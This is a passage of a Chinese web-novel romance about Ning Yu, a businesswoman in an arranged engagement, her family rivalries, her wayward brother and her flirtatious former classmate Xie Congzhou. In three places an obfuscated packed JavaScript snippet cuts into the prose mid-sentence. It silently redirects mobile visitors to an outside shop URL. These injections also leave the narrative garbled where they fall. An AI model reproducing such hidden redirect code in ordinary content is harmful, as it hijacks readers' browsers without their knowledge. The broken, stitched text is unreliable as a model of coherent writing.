她知道谢枞舟成绩有多好,也知道他年纪轻轻就做到了工程师的最高成就——Pwnies奖。 不知打败多少人拿到的奖,朝夕之间,声名大噪。 但男人看起来并不是很在乎这些。 在国外时,宁豫偶尔遇见谢枞舟,他总是那般懒洋洋到玩世不恭的模样。 似乎这世间没什么东西能入他的眼,也没什么东西能让他认真。 比起大多数人追逐的名利,谢枞舟宁可在喷泉公园的广场上喂一下午的鸽子。 这么一想的话,他回国后不肯回兆景,也没去任何公司上班,倒也正常。 随便弄个工作室,是他的作风。 宁豫自己捋顺了缘由,便收敛了发散的思绪没有再问。 “倒是有呢。”谢枞舟笑了笑,声音慵懒:“你未来老公请过我。” “李之逞?”宁豫一愣,但很快就明白过来:“耀锦是做实业的公司,涉及制造,请你也不意外。” “哦,默认了哦。”但谢枞舟的关注点却不在这个,而是歪了歪头,戏谑道:“看来你们一定会结婚。” 否则,她不会回答的这么自然而然, 看来感情还挺‘稳定’的。 …… “谢枞舟。”宁豫却因为他这个抖机灵有些无语:“你可真够烦人的。” “不过李之逞请我去耀锦也得经过你同意吧。”谢枞舟挑眉:“毕竟你俩夫妻强强联手,一起经营企业。” “我有自己的公司要管,跟他掺合什么。”宁豫皱了皱眉,谈起事业,她显得很吹毛求疵:“未来也是自己管自己家的。” 未来…… 她没否认他们未来会成为夫妻这句话。 谢枞舟也不知道自己究竟在期待什么,他自嘲的笑了下,忽然觉得意兴阑珊。 车厢内突然静下来,宁豫微微侧头,臻首靠着窗边闭目养神,没有要继续交流的意思。 若不是谢枞舟主动找话题,他们注定是要冷场的。 没一会儿,宁豫放在膝盖上的手机铃声大响,才打破这份寂静。 她漂亮的眼睛轻睁开一条缝,看到备注是秘书黄盈,才接了起来。 “宁总。”黄盈是个聪明姑娘,跟了宁豫一阵,就知道自己这位上司有话直说不拐弯抹角的员工,所以此刻单刀直入地说:“出了点事。” “李总最近去新加坡出差……被拍到了和女人在酒店里,出双入对。” 宁豫听到这个消息的第一时间脑子里空白了一瞬,但很快问:“消息没传开吧?” 黄盈忙说:“没有没有,压的很及时,耀锦那边出手的。” 这就是李之逞自己动手压桃色新闻的意思,也亏得他还要点脸。 宁豫冷笑了声:“那就行。” 说完她挂了电话。 开车的谢枞舟侧头看她一眼,长眉微挑:“不生气?” 车内太安静,她和黄盈的对话显然是被他听见了。 “有什么好生气的。”宁豫淡淡道:“订婚那天就说好了,自己负责自己的事情。” 简单来说就是各玩各的。 双方在外面找多少个小情儿都不用过问,只要别闹到媒体上和她面前来就行。 谢枞舟‘呵’了声,修长的手指敲了敲方向盘:“你倒是想的开。” 或者是,非常‘大度’。 “有什么想不开的?”宁豫不明所以,耸了耸肩:“我和李之逞是二十那年订婚的,订完我就出国了 ,现在都六年过去了,难道我还指望着他为我守身如玉不成?” 要是信一个男的能这么‘深情’,那宁豫宁可相信母猪能上树。 而且李之逞忠不忠诚,深不深情对她来说都不是最重要的,订婚那天她就知道。 李家背后的耀锦才是最重要的。 谢枞舟笑了笑:“你倒大度。” 他之所以会这么问,当然是因为他知道甭管宁豫嘴上再怎么洒脱和不以为然,但实际上对李之逞还是有感情的。 至于他为什么会知道…… 宁豫有些生硬的岔开话题:“别说我的事儿了,你家里人没给你安排联姻?” 虽然他们不过二十五六的年纪,但作为商圈里的二代子弟,有时候就像是明码标价的利益链,可以用联姻去做很多资源置换的。 所以根本就不会存在钻石王老五,风流如李之逞,不也是早早和自己订婚了? “可算了。”谢枞舟嗤笑:“小爷我要是结婚了,万千少女的芳心谁去安慰?都得水灵灵的破碎掉。” “你就贫吧。”宁豫被他逗笑,唇角的梨涡若隐若现。 伴随着车内空调温度上升,她的脸色也没刚上来时那么苍白吓人了。 反倒染上了一抹嫣粉,漆黑的眼睛有种润润的亮。 谢枞舟趁着红灯时盯着她看。 宁豫有些不自在,秀眉轻蹙;“看我干嘛?” 男人笑了笑:“看嫂子好看呗。” “……能不能别贫了?”宁豫别扭的别开眼,用包去打他:“上学的时候就这样,属你最讨厌。” 谢枞舟眼睛轻轻一亮:“你还记得高中时候的事儿?” “大多数都忘了。”宁豫淡淡道:“就记得你招人烦了。” 那时候她,还有几个玩的好的朋友,谢枞舟李之逞都是在市一中就读的。 他们三个学习好,学的还都是理科,高中时曾当过两年同班同学。 如果说李之逞像是校园里那种最高不可攀的高岭之花,那谢枞舟就是恨不得到处散发‘魅力’的花孔雀。 性格像是‘极’与‘极’的两个人却是铁哥们儿,整天混在一起。 有一度换位置,宁豫记得自己曾经当过一阵子他们的前桌。 谢枞舟就坐在她后面,没事儿就讨人厌的踢她的凳子腿儿。 前几次宁豫也就忍了,后来实在被惹的生气,就转头使劲儿瞪着他:“谢枞舟,你有完没完?脚不舒服就去医院治,别跟这儿烦人。” 她怼的犀利,谢枞舟旁边的李之逞都忍不住闷笑了声。 然而宁豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595740|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会知道,在阳光明媚的午后,她瞪人的眼睛都像是含着一剪秋水,骄傲,漂亮。 可谢枞舟知道,而且他还注意到了女孩儿在李之逞笑了声之后微微的不自在,一闪而过的害羞。 他知道从那个时候起,自己就晚了一步。 可少年心性,总是不甘心的想引起女孩儿的注意。 “没办法,我腿太长了,你不小心就碰到了。”谢枞舟眨了眨眼,无辜道:“还有你写字的时候那马尾辫晃来晃去的弄得我眼晕,都没办法专心学习。” 宁豫被他气笑:“你不好好上课,关我什么事?” 居然还赖到她的头发上面! 但谢枞舟就是赖上她了,放学后还追着不依不饶:“宁豫同学,我没说错呀,你写字的时候肩膀一动一动的马尾辫就是跟着动。” 晃的他眼花。 宁豫沉默,或多或少也知道自己确实写字快的时候就会有这种问题。 她不耐烦的问:“那你想怎么样?让我把头发剪了?” 谢枞舟笑了声:“那倒不用。” 说完,他修长的手指以飞快的速度探到少女的后脑,一把扯掉她的头绳。 她乌黑的头发就和光滑的缎子一样,从他指缝穿过,留下一抹缱绻。 宁豫猝不及防,下意识摸自己头发:“你干嘛?” “剪掉倒是不用,今天先别扎头发了。”从十五岁见到宁豫的那天起,女孩儿就一直绑着头发,大光明丸子头马尾辫,一张精巧的巴掌脸上三庭五眼极其标准,怎么都好看的要命。 只是他很想看看她不扎头发的样子,还没见过呢。 果然,还是好看的要命。 宁豫觉得这人简直是莫名其妙极了,但好在放学后不管是扎头发还是披头发都无所谓。 她白了他一眼,毫不犹豫的转身离开。 谢枞舟看着她背影都透着一股火冒三丈的模样,含糊地笑笑,然后目光落在自己的掌心—— 是紫罗兰颜色的蝴蝶头绳。 谢枞舟听了她的控诉,笑了笑:“你就不能记我点好?记得都是这些。” “抱歉。”宁豫耸了耸肩:“想不起来了。” 他哪有什么好的。 说话间,车子开到了宁家别墅的院外。 宁豫这才意识到居然已经到了,许是因为和谢枞舟一直胡侃的原因,觉得路程都变短了 “谢谢。”她拎起包准备下车,临走前客套一下:“改天请你吃饭?” 谢枞舟挑眉,借坡下驴:“我挑地方?” 宁豫一怔,点了点头:“你挑。” 其实她并非全然是客气,请他吃饭也是合情合理……但可能在生意场上见多了虚伪的面孔,总是不适应他的直接。 “行,改天的。”谢枞舟抬了抬下巴:“进去吧。” 宁豫转身,纤细的背影渐行渐远。 这个季节京北的天有些起雾,她在其中朦胧的轮廓,就像梦里怎么都抓不住的那道影子。 不过,他这人就不知道什么叫死心。 “宁豫。”谢枞舟忽然下车,把人叫住。 “嗯?”宁豫回头,在路灯半明半暗的光线下,只能看到男人线条精致的下颌线。 “等我电话。”谢枞舟顿了下,继续说:“度假山庄的事儿。” “出发之前我来接你。” “不用。”宁豫这才想起来他们还有这个约定,愣了下:“我可以自己开车。” “开车过去要三个半小时,别忘了,你是去修养的。”谢枞舟扬起唇角:“我不介意当一次司机。” 说完也不给宁豫拒绝的机会,汽车绝尘而去。 5. 挖呀挖 宁豫在京北有多处自己的房产,平时其实不怎么回宁家老宅。 不光她,宁家的其他人也是这样,就连宁晟那个败家子都有好几个窝可以‘狡兔三窟’。 只是每次她回老宅的时候,闲杂人等也会回来。 显得熙熙攘攘,吵闹得很。 宁豫进门被阿姨伺候着换掉高跟鞋,走到客厅就听到一迭声的询问——嘘寒问暖的不少,就连平日里说话最刻薄的大伯一家都笑的跟月季花似的。 但她心里门儿清,如果不是拿下了天维这比单子,今天在老宅等着她的完全就是另外一副局面了。 多子多孙的豪门世家里哪儿有那么多虚假和平的福气,全是暗流涌动罢了。 宁豫坐下来喝了口热茶,问旁边的戚惠:“爷爷在楼上吗?” “在,刚刚小憩了会儿,这个时间应该已经醒了。”戚惠见她伸手,忙接过杯子:“你要上去找老爷子?” 宁豫点了点头,却岔开话题:“妈,茶泡的一般。” “今天是你大伯母送过来的茶饼,普洱。”戚惠瞄了一眼坐在旁边沙发上的大伯母,轻笑:“不过对身体好,你多喝点嘛。” “小惠,是我考虑的不周到,忘记小四不爱喝普洱了。”大伯母名叫苏蓉,从打扮上便是个穿金戴银的富太太,说话喜欢掐着嗓子,五十多岁的人了也娇滴滴的,假模假式道—— “那我下次带龙井好不啦?我记得你还是爱喝绿茶的吧?” “算了,也不是来喝茶的。”宁豫就不爱听她说话,站起身来准备上楼去找宁从光。 只是脚没迈开,就听到苏蓉状似惊讶地开口:“小四,你这个时间来找老爷子,该不会是为了老李家那小子的事儿吧?” 宁豫脚下一顿,轻轻眨眼也不意外。 李之逞在新加坡和女人在酒店出双入对的事情对着媒体能压住,但在他们这个小圈子里流通还是很快的。 更别提事事都要走在八卦最前沿,又非常针对她的苏蓉,肯定分外关注。 她回过头,若有所思:“看来大伯母很关心我嘛。” “那是当然。”苏蓉用丝质的手绢捂住唇,假装长吁短叹的感慨:“这种事当然只有女人最能共情女人了,李家那小子出个差还要找女人,也未免太不是东西。” 她这种假装同情,实际上却是把宁豫体面的表皮往下撕的说辞让在场其他人都感觉误入战场,瞬间噤若寒蝉。 戚惠皱了皱眉,刚想起身说什么,就被女人按住了肩膀。 “大伯母,您误会了,那是之逞的秘书。”宁豫淡淡道:“他们公司去新加坡出差的几个人都是住一个酒店的,出双入对很正常。” “毕竟这个年头工作为重,谁又能时时刻刻顾得上无处不在的狗仔呢——当然,喜欢被人养的金丝雀除外。” “毕竟整天在家里呆着,除了网络世界也注意不到别的,怪可怜的。” 说完,宁豫没理苏蓉气的一阵红一阵白的脸色,转身上楼。 背后不乏各种窃窃私语,无非是说什么她翅膀硬了谁都敢顶撞之类的话。 但向来无能狂怒的人都是loser,她从不在乎。 宁从光年纪大了,睡觉时间不那么规律,时常是有一觉没一觉,有时傍晚就困了,有时半夜还清醒着。 他正在书房的阳台上逗自己养的两只金刚鹦鹉,听到敲门声让人进来,侧头看见是宁豫,问她:“看我这两只鸟怎么样?” 宁豫沉默片刻,客观评价:“油光水滑。” 鸟凭人贵,养在老爷子的阳台里,比有些人还值钱。 宁从光忍不住笑,老头对着孙女笑起来还有点慈祥,黑白相间的发丝梳的规整,即便单手拄着手杖,脊背也挺的溜直。 老人瘦削了,但仍能看出年轻时英气的风采,一双锐利的双眼没有老年人独有的浑浊,鹰隼一样晶亮。 宁豫坐在书桌前给他按部就班的报告工作,宁从光听着,时不时点点头,给出一些建设性的意见。 “你这几个单子签的好,就等于堵住了大家的嘴。”老爷子转着食指上的玉扳指,淡淡道:“做管理者不可能让所有人都满意,但要做到让他们怕你,有话憋着不敢说,懂么?” 因为不能咬人的狗没用。 上位者怎么做在大多数人眼里都是资本家,是秃鹫,那就更没必要去做‘好人’。 宁豫若有所思地听着,继续汇报工作。 听到她在酒桌连轴转的时候,宁从光皱了皱眉:“手底下没人能派?” 他是希望宁豫全方位无瑕疵的锻炼,但可不希望自家千金去和一群大男人拼酒。 “有倒是有……可是爷爷,您也知道我刚空降还不服众,说句不好听的,派别人去谈,天维那边的人该觉得我们不重视,大概率不乐意,我派去的也不一定尽心。”宁豫笑了笑,实话实说:“所以还不如自己来。” 左右都是万事开头难,如今签了这么几个大单,再不好过也好过了。 宁从光自然比谁都明白这个道理,拍了拍她的手:“辛苦了。” 公事聊完,两个人才话了几句家常。 宁从光喝了口茶,悠悠问:“你和李之逞之间没什么问题吧?” 显然,老人家网速也足够快,该知道的都知道。 “没有啊。”宁豫早就猜到他会问,面不改色:“爷爷,我们挺好的。” 宁从光眼中浮现一丝赞许:“老四,还是你懂事。” “男人年轻时在外面总有些避免不了的风流韵事,等再过两年收心了就好。” 宁豫微微点头:“爷爷,我明白的。” 李之逞是否‘出轨’不重要,重要的是宁氏和耀锦的合作项目明年就提上日程了,在这个节骨眼千万不能出任何差错。 宁从光笑了笑:“老四,子孙辈里我最满意的还是你。” 宁豫沉默的听着,唇角微微漾开一抹有些谦虚的微笑,心里却在想爷爷是满意她的工作能力,还是满意她够听话,够隐忍呢? 说不清,但她知道自己这些年,求的一直都是这样一种认同。 此刻得到了,心里却还是有种无端的空落落。 “对了,我听你刚才说起和天维那个刘总的酒局。”宁从光话锋一转:“谢家那老二帮了你一把是吗?” 宁豫没想到爷爷还会提起这个,微微一愣点了下头:“嗯,他恰巧路过。” 谢枞舟在谢家排行第二,上头还有一个哥哥。 “那小子人挺有意思。”宁从光指了指阳台上两只蓝金刚的其中一只:“这还是他半年前送过来的,说给另外一只作个伴。” 宁豫这回是真的意外,毕竟家里人多,养的宠物也不少,多只鹦鹉多只京巴什么的实在不在她的关心范围中。 她怎么也没想到谢枞舟会送给爷爷这个东西。 不过谢家和宁家是世交,生意上偶尔也有往来,宁从光之所以提起这个,大概率是暗示她要去维护和每个家族的那点‘交情’吧。 于是宁豫笑了笑,从善如流道:“爷爷,送礼讲究的是礼尚往来,您这倒是提醒我了。” “听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姐,我只能管你要了,结果给了五十万赔偿金那女的还不满意!”宁晟耷拉着一张苦瓜脸:“她狮子大开口啊!” 宁豫听的太阳穴‘突突’直跳,再看看宁晟那仿佛自己很无辜的窝囊样,忍无可忍一耳刮子甩了上去。 “你说的什么狗屁话?自己不做好措施闹出人命,现在还说别人狮子大开口?”她压低了声音,咬牙切齿的骂:“管不住你那二两肉就干脆割了,免得祸害人!” “姐!”宁晟脸上染上一抹羞臊,嘀咕着:“您说什么呢!” 他是从小被宁豫打到大的,此刻被甩了一耳光也不敢说什么,反倒因为她后半句话害羞了。 这没出息样儿让宁豫觉得跟他再多说一句都属于浪费时间,也难怪老爷子大发雷霆,停了他的卡,也不许宁曾帆和戚惠的‘接济’。 但她要把更多的钱给了宁晟本人让他去处理这件事儿,这货八成是自己拿去霍霍了也闹不明白。 这事说大不大说小不小的,主要牵涉到宁家的声誉,想来想去,还是只能自己去。 宁豫看着眼前的弟弟,心里是说不出来的失望。 这么一个大家族宛若龙潭虎穴,各有心思,但宁晟是唯一一个和她同父同母血脉相连的枝蔓,所以在很多人看来,她是无‘底线’惯着他。 “我不指望你能帮我什么。”她冷冷道:“能不能起码别添乱?” 她讽刺的眼神让宁晟难得惭愧了一下,嗫嚅道:“姐,我……” 宁豫打断他:“废话就别说了,那女孩儿的联系方式给我,我来处理。” 说完,她把鬓角的碎发捋到耳后,看了眼包里震动不停的手机,说了句:“我先走,你帮我和爸妈说一声。” 6. 挖呀挖 电话是好友辛黛打来的,说是要为她的回国接风洗尘。 “我都回国两个月了,接什么风洗什么尘?”宁豫笑了声:“没事儿闲的。” “啧啧,你还知道啊?”辛黛在电话对面的声音很是讥诮:“宁大小姐,您自己说说您这两个月有闲下来过,有消停过吗?” 显然她是打听了自己终于连轴转结束,才打电话过来的。 宁豫也不会拒绝和这些老朋友聚聚的机会,应了辛黛的邀约,定在明天见。 她今天从早折腾到晚,实在是得好好歇歇。 宁豫回了自己在江景的房子,顶楼的大平层,站在落地窗边几乎可以俯瞰整个京北的夜景,五光十色美不胜收。 仿佛脚底下踩着的地砖都是钱做的。 女人洗了个澡,没吹干头发就在窗边接电话。 她修长的手指不自觉的在玻璃上一点一点的,是无聊时的小动作。 发梢末端汇聚的小水珠落在颈窝和锁骨里,流进V字领。 及膝浴袍下两条小腿又细又直,宛若两根嫩生生的竹笋,骨感纤瘦的脚踝翘起,半踩着拖鞋,刚洗完澡的每个细胞里似乎都透着一种慵懒缱绻的氛围感。 但她的电话内容就没这么‘慵懒’了。 “王总,开除你的决定不是我一个人做的,是整个集团决定的呀,你在这儿缠着我又有什么用呢?”宁豫声音带着些安抚性的甜软,现实却是面无表情,被窗户倒映着的双眼清清泠泠:“我当然知道你是公司中层,兢兢业业很多年了。” “想必王总这样的人才和履历,流入市场后一定是供不应求的场面吧?” …… 挂了电话,宁豫把手机扔在沙发上。 刚刚给她打电话的人叫王钏,公司的老中层,典型在位置上尸位素餐没任何作为的代表性人物。 王钏能在宁氏待这么多年,特殊之处就在于他是大伯母苏蓉安插进去的人。 所以宁豫在清理这批中层时,首先就拿他开刀。 ——苏蓉安排的人她照样敢开,其他人还有什么可说的? 宁从光膝下有三子一女,宁豫的父亲宁曾帆排行老三,上面有两个哥哥,大哥宁曾与,二哥宁曾源,下面还有个妹妹宁曾梦。 老爷子自己香火旺盛,绵延下来的子孙辈当然也不少,宁豫在同辈里只能排第四,宁曾与不但是上一辈的长子,他家里的宁哲是也是长孙,且大伯和苏蓉因为各种各样的缘故只有这么一个儿子,所以把所有的心血和期望都寄托在了宁哲的身上—— 说难听点,这也是苏蓉和宁豫一家子剑拔弩张的原因,因为现在有宁氏继承权的竞争者归根到底就她和宁哲。 有竞争自然就有勾心斗角。 像是二伯家有一男一女,分别是宁豫的二哥宁栾和三姐宁滢,但都属于资质比较‘平庸’的类型,能在家族企业里混口饭吃就不错,不必奢望太多。 至于宁晟就更不用说了,纯纯的废物一个。 论起宁从光的孩子还有一个他的老来女宁曾梦,万千宠爱的千金幺女,只不过几十年前就嫁到京北的金融大鳄沈家,生下两个女儿,论起年纪比宁晟还要小两岁。 但总归和宁家没什么关系了。 所以现在的情势摆在这里,宁豫也不会和大伯一家装的有多么一派和睦兄友弟恭,就像苏蓉也经常在明面上给她找茬一样。 休假之前,宁豫去了趟公司,把接下来的工作按部就班的安排下去,然后嘱咐徐助理有事随时和自己在私人微信上联系。 这样她看见的更快一些。 “对了,宁总。”徐助理忙说:“今早有两个快递直接送到您办公室了,邮寄地写的是新加坡。” 新加坡? 宁豫轻轻挑了下眉,还是去办公室看了眼。 深色的沙发上横躺着两个橙色的Hermes大盒子,掀开一看,都是最新限量款的皮包。 她抬了抬唇,讽刺一笑,对身后的徐助理说:“扔休息室吧。” 在辛黛的电话轰炸中,两个人约着去做了个spa。 两个月没放松了,被涂了精油按摩肩颈的时候,宁豫是真觉得自己脊柱那里的肌肉仿佛结块一样的疼,按下去让人忍不住的叫出声。 她忍着龇牙咧嘴的冲动,尽量在按摩师面前保持形象。 辛黛在她对面看的直笑:“累成这样啊?” “废话,你连轴转两个月试试……”宁豫垂着眼皮,懒洋洋道:“累死老娘了。” 只有在闺蜜面前,她才难得展现小姑娘的一面,会抱怨会撒娇。 “啧,确实是,瞧你都又累瘦了一圈。”但辛黛说着扯下女人身上的浴巾,弹了一下她锁骨下方那处绵软:“但看这里一点也没瘦嘛。” 按摩师还在后面揉捏着她的肩膀,宁豫连忙拉起浴巾,瞪她一眼:“别闹。” “都是女的怕什么,说真的,你到底吃什么长大的?”辛黛也捏了下自己的胸,苦恼的皱起秀眉:“我天天吃木瓜都没什么用,你倒好,高中那时候就发育的一手抓不住了。” “行了你。”宁豫从果盘拿起一个苹果堵住她的嘴:“别叭叭了。” 她身材确实是非常好,标准167的身高,骨架小很纤细,从哪个角度看都是薄薄瘦瘦的一条,但该有肉的地方一点都不含糊,丰胸纤腰,腰臀比让专门练过的模特都自愧不如。 不过宁豫也觉得没什么好的。 在职场里女性的身材和容貌本来就容易被男凝,更别说她这种…… 基本没有穿衬衫自由,买大一码不合身,正常尺寸的扣子都容易崩开。 宁豫之前看过一本书,讲述的是上个世纪九十年代,女主角为了在职场打拼出自己的一片天地,为了在酒桌上让那群男人把自己当回事儿,刻意增肥到了二百斤。 但她可没有这种破釜沉舟的勇气去毁外貌,有几个女人能不爱美? 不过还好现在的社会,虽然还是有各种不平等的现象存在,但也用不着那么极端了。 两个人做完按摩,就去相熟的造型店弄了妆容造型。 做头发的时候,辛黛又开始八卦:“你家那位李公子,到底怎么回事?” “别和我提他。”宁豫都有些困了,打了个哈欠:“不就那样。” 有外人在,辛黛也没有多问。 私人聚会的场子,宁豫也没打扮的多庄重,穿了个赫本款的经典小黑裙,头发高高盘起,修长的颈项戴了条珍珠项链。 黑色更加映衬的肌肤如雪,让她整个人看起来都像是一颗莹润的珍珠,化了淡妆的五官明艳至极。 到了辛黛订好的会所时,一群眼熟的老友围了上来。 都是一个圈子里玩过来的,虽然宁豫出国六年没回来几次,但大家还是算不上生疏——更别提她最近是实打实的风光。 不少人劝酒,她笑着摆手:“不喝了,最近喝太多了。” 有人说‘那有什么意思嘛’,但都是朋友,没有强逼。 宁豫虽然是主角,但并不是出风头的性格,加上真的有点累了,就安安静静的坐在长沙发上。 会所的整体格调是黑色的,沙发背后的墙面是线条延伸的图腾,纠纠缠缠的绕着女人的漂亮白皙的肩颈,让她像是被藤蔓包裹的玫瑰花。 她不喝酒,面前摆着热茶,雾气折腾中明艳的五官有些朦胧。 隔了一会儿,门口一身闹哄哄的骚动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595742|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁豫抬眸望去,是穿着一身浅灰色休闲西装的谢枞舟,她一愣,还没来得及问辛黛怎么把他叫来了,就见这家伙兴奋地挥手:“谢二谢二,这边!” 宁豫:“……” 谢枞舟从善如流的走了过来,坐在她旁边。 一下子靠的很近,男人身上裹挟着深秋的冷风,有种独特的雪松清香,让宁豫洁白的肩头微微泛起一层细小的鸡皮疙瘩。 她不怎么客气的问:“你来干嘛?” 谢枞舟薄唇微动,还没说话,旁边的辛黛就‘扑哧’笑出声:“当然是我叫他来的,大家都是老同学了!这么多年没见了嘛。” “是。”谢枞舟借坡下驴,微微笑了笑:“老同学来凑个热闹,不行?” 什么这么多年不见……前天才见过。 宁豫抿了抿唇,没说话了。 不过谢枞舟的出现,显然让这个熟人局变得更热闹,不少人凑了过来,他又坐在她身边不动,让周遭的空气都变得逼仄起来了。 宁豫蹙了蹙眉,正好旁边的手机响起,她拢上披肩出去接。 是李之逞打来的,她微微犹豫了下,还是接了。 对面的男声冷静,克制,和她说话的语调像是上司询问下属:“包收到了吗?” 宁豫听了忍不住有点反思——是不是自己和下面员工说话的时候也这么烦人。 她按捺着情绪上的不耐烦,淡淡道:“收到了,送这个干嘛?” “哄你呗。”李之逞笑了声,明知故问:“那些小道消息,没影响到你吧?” 宁豫听着有点想笑。 敢情她身边的人对他的绯闻都知道了,甚至都问过她用来当武器嘲讽过她了,自己这位未婚夫才姗姗来迟的来‘哄’。 未免也太不值钱,太滑稽了。 “李之逞,你用不着弄这些。”宁豫也不发火,淡淡道:“你和那个女人是什么关系我不在意,咱们两个的婚约也不会受影响。” 就像之前说好的那样,各玩各的,她不玩感情,但也不会耽误他。 如果李之逞把她当成需要用包用首饰来哄的那种类型就大错特错了,她在意的只有他们之间关联的合同会不会受影响。 李之逞也明白这个意思,笑了声:“那你放心,合作都在走程序了,不会有任何问题。” 宁豫张了张口,还想再说些什么,后颈处突然被人自后碰了下。 指尖抚过的触感让她轻轻‘呀’了声,回头一看是不知道什么时候过来的谢枞舟,也不知道他听没听见自己的电话内容。 宁豫蹙眉,不等李之逞再问什么就挂了电话。 她转过身,后腰靠着长廊的栏杆问他:“你干嘛?” 谢枞舟双手插兜,面对面的离她很近,唇角微微抬起:“给阿逞打电话呢?” 她没说话,用行动表示‘关你屁事’,然后想侧身从他身边过——只是被男人突然横亘在栏杆上的手挡住了。 宁豫不得不问:“你干嘛?” 因为正对着谢枞舟的缘故,她丝毫没注意到他攥着栏杆的指骨泛白。 但他却能精准捕捉到她眼底的一丝戒备,和不耐烦。 “不干嘛,想和你说件正事。”谢枞舟自嘲的微微抿了下唇角,又很快恢复到那种惯常的吊儿郎当。 宁豫不清楚自己能和他有什么‘正事’可说,但如果没事的话谢枞舟也不会无聊到追出来找自己吧?她正色起来:“你说。” 谢枞舟却抬手,修长的指尖拨弄了一下她颈间的项链:“珍珠很漂亮。” 这动作在一男一女身上就有些暧昧了,宁豫蹙眉,刚想开口,就被谢枞舟接下来的话堵住:“想不想知道你那宝贝弟弟具体捅了什么篓子?” 7. 挖呀挖 谢枞舟的话成功让宁豫停住本来要折返回包厢的脚步,美眸里闪着讶异:“你知道?” 他‘嗯’了声。 宁豫莫名想起来前天在医院的时候,男人看她讲完电话后说‘他还是老样子啊’的神色微微有些讽刺…… 看来那时候他就知道些什么了。 宁豫正色起来:“聊聊?” 谢枞舟懒洋洋的靠在栏杆上:“就站这儿和我聊啊?” 于是宁豫和他单开了一个小包厢,又叫服务生送了壶茶来——面对什么人办什么样的事儿,她知道谢枞舟不是个喜欢被敷衍的人。 做这些的时候,她发了个信息给辛黛叫她们自己玩儿,不用等她。 光线昏黄的包厢里茶香枭枭,宁豫坐在男人的对面拢了拢披肩:“可以聊了吗?” 一副谈公事的模样。 谢枞舟抬了下唇角,也没继续卖关子:“你弟惹了个女生,干那事儿的时候没带措施,闹出人命来了。” 宁豫:“这个我知道。” “那说点你不知道的。”谢枞舟端起小茶杯,和她碰了下:“你弟惹的这个女生有男朋友,俩人还没分手呢,现在人家正宫不依不饶,要讨个说法。” 这一层宁豫还真不知道,不由得愣了下。 她试探地问:“是女生自愿的还是……” 如果是那个有男朋友的女生脚踏两只船和宁晟发生了关系尚且好处理,但要是宁晟那个没出息的东西强人所难的话就不好办了。 而谢枞舟的话刚好让她松了口气:“算是吧,那女生正和男朋友闹分手,但没分干净,和你弟属于一夜情,碰巧中招了。” “……”这都什么事儿啊? 宁豫哭笑不得,又有些好奇:“你怎么知道这么清楚的?” “宁大小姐,你以为那女生有什么底气不收你弟的钱又敢和宁家硬刚啊?”谢枞舟失笑,指骨敲了敲面前的桌面:“那女生的对象恰好和我大哥是朋友,找人当靠山了。” 宁豫沉默片刻,心想京北这么大个地儿,但有的时候又让人感觉是真‘小’。 可能七转八绕的,在各种稀奇古怪的场合都能碰到熟人。 谢枞舟的大哥谢枞云,她当然也认识,但不是一个年龄段的,不算太熟。 只是宁晟这一脚掺合进去人家要分不分的小情侣之间,还牵涉到了谢家,也真是麻烦…… 宁豫沉思片刻,直接问:“那边具体想怎么解决?” 就算再怎么不忿,生气,郁郁不平,也得先想办法解决问题吧? 况且这里面还牵涉到一个胚胎发育的问题——越拖一天解决,都是越伤害女孩儿身体的。 谢枞舟抬眸,看着她微微有丝波动但整体还是很冷静的眉眼,觉得像是英气秀丽的画。 热茶熏的雪肤都染上一抹红晕了。 他盯着她,不紧不慢道:“那女生的对象想和宁晟亲自谈,但他躲着不肯出面,上次拿来钱也被拒绝了……我觉得你也不方便出面。” 凭什么麻烦精弟弟惹事儿了,还得让她去擦屁股啊。 宁豫没听出谢枞舟帮她抱不平的这层深意,只是秀眉轻蹙:“我不出面应该不行。” 至于宁晟那种人,根本就不用指望了。 但毕竟牵涉到了一条人命这种事情,虽然是未出世的……宁家的人不出面不太好。 谢枞舟心里微微叹了口气,却笑着问:“我帮你解决怎么样?” 宁豫一愣:“你?” “是啊,他们是我哥的朋友,我的面子不会不给。”谢枞舟顿了下,意味深长道:“条件是……你答应我一件事情。” 如果说宁晟惹出来的麻烦靠山是谢枞云的话,那么谢枞舟愿意出面去调节当然是最合适的一种解决方式。 他现在主动提出‘条件’,也让宁豫非常安心。 这种有来有回的做法,是符合商人标准的。 “可以,”她笑了笑,问:“什么事情?” “唔,我现在还没想好。”谢枞舟淡淡道:“想好了自然会提。” 宁豫挑眉:“那你是问我开了张空头支票?” “怎么样?”他笑:“给不给啊?” 安静的空间里,男人低低笑起来的音调有些酥麻的感觉,比凉下来的茶都要更涩一些,让人心头有种说不清道不明的感觉。 宁豫唇角微抿,忽略这一瞬的不自在,故作自然:“当然不行,你要星星月亮这种东西我怎么给?” 谢枞舟被她逗的笑容更大了。 “谁会要这些东西。”他站起身来,主动率先离开包厢,只留下一句:“绝对只要你宁大小姐给得起的。” 宁豫看着他的背影眯了眯眼,隔了一会儿才起身离开。 回到包厢时已经不见谢枞舟的身影了,她走到辛黛旁边问了句:“谢二呢?” 